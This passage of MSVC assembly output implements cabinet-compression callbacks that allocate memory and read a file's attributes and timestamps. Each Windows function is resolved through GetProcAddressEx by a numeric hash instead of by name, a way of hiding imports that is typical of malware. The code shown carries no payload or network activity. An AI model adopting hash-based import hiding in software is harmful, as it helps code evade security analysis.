?FN_FCIFREE@@YAXPAX@Z ENDP				; FN_FCIFREE
_TEXT	ENDS
PUBLIC	?FN_FCIALLOC@@YAPAXK@Z				; FN_FCIALLOC
; Function compile flags: /Ogspy
;	COMDAT ?FN_FCIALLOC@@YAPAXK@Z
_TEXT	SEGMENT
_cb$ = 8						; size = 4
?FN_FCIALLOC@@YAPAXK@Z PROC				; FN_FCIALLOC, COMDAT
; Line 39
	jmp	?MemAlloc@@YAPAXK@Z			; MemAlloc
?FN_FCIALLOC@@YAPAXK@Z ENDP				; FN_FCIALLOC
PUBLIC	?FN_FCIGETOPENINFO@@YAHPADPAG11PAHPAX@Z		; FN_FCIGETOPENINFO
; Function compile flags: /Ogspy
;	COMDAT ?FN_FCIGETOPENINFO@@YAHPADPAG11PAHPAX@Z
_TEXT	SEGMENT
_fileInfo$ = -60					; size = 52
_fileTime$ = -8						; size = 8
_pszName$ = 8						; size = 4
_pdate$ = 12						; size = 4
_ptime$ = 16						; size = 4
_pattribs$ = 20						; size = 4
_err$ = 24						; size = 4
_pv$ = 28						; size = 4
?FN_FCIGETOPENINFO@@YAHPADPAG11PAHPAX@Z PROC		; FN_FCIGETOPENINFO, COMDAT
; Line 190
	push	ebp
	mov	ebp, esp
	sub	esp, 60					; 0000003cH
	push	esi
	push	edi
; Line 195
	push	DWORD PTR _pv$[ebp]
	xor	esi, esi
	push	DWORD PTR _err$[ebp]
	push	esi
	push	esi
	push	DWORD PTR _pszName$[ebp]
	call	?FN_FCIOPEN@@YAHPADHHPAHPAX@Z		; FN_FCIOPEN
	mov	edi, eax
	add	esp, 20					; 00000014H
; Line 197
	cmp	edi, -1
	je	SHORT $LN1@FN_FCIGETO
; Line 201
	push	-246825788				; f149bcc4H
	push	1
	push	esi
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
	lea	ecx, DWORD PTR _fileInfo$[ebp]
	push	ecx
	push	edi
	call	eax
	test	eax, eax
	je	SHORT $LN2@FN_FCIGETO
	push	-445043052				; e5792e94H
	push	1
	push	esi
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
	lea	ecx, DWORD PTR _fileTime$[ebp]
	push	ecx
	lea	ecx, DWORD PTR _fileInfo$[ebp+4]
	push	ecx
	call	eax
	test	eax, eax
	je	SHORT $LN2@FN_FCIGETO
	push	-1232158984				; b68ebef8H
	push	1
	push	esi
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
	push	DWORD PTR _ptime$[ebp]
	lea	ecx, DWORD PTR _fileTime$[ebp]
	push	DWORD PTR _pdate$[ebp]
	push	ecx
	call	eax
	test	eax, eax
	je	SHORT $LN2@FN_FCIGETO
; Line 204
	mov	eax, DWORD PTR _fileInfo$[ebp]
	mov	ecx, DWORD PTR _pattribs$[ebp]
	and	eax, 39					; 00000027H
	mov	WORD PTR [ecx], ax
; Line 206
	jmp	SHORT $LN1@FN_FCIGETO
$LN2@FN_FCIGETO:
; Line 208
	push	DWORD PTR _pv$[ebp]
	push	DWORD PTR _err$[ebp]
	push	edi
	call	?FN_FCICLOSE@@YAHHPAHPAX@Z		; FN_FCICLOSE
	add	esp, 12					; 0000000cH
; Line 209
	or	edi, -1
$LN1@FN_FCIGETO:
; Line 213
	mov	eax, edi
	pop	edi
	pop	esi
; Line 214
	leave
	ret	0
?FN_FCIGETOPENINFO@@YAHPADPAG11PAHPAX@Z ENDP		; FN_FCIGETOPENINFO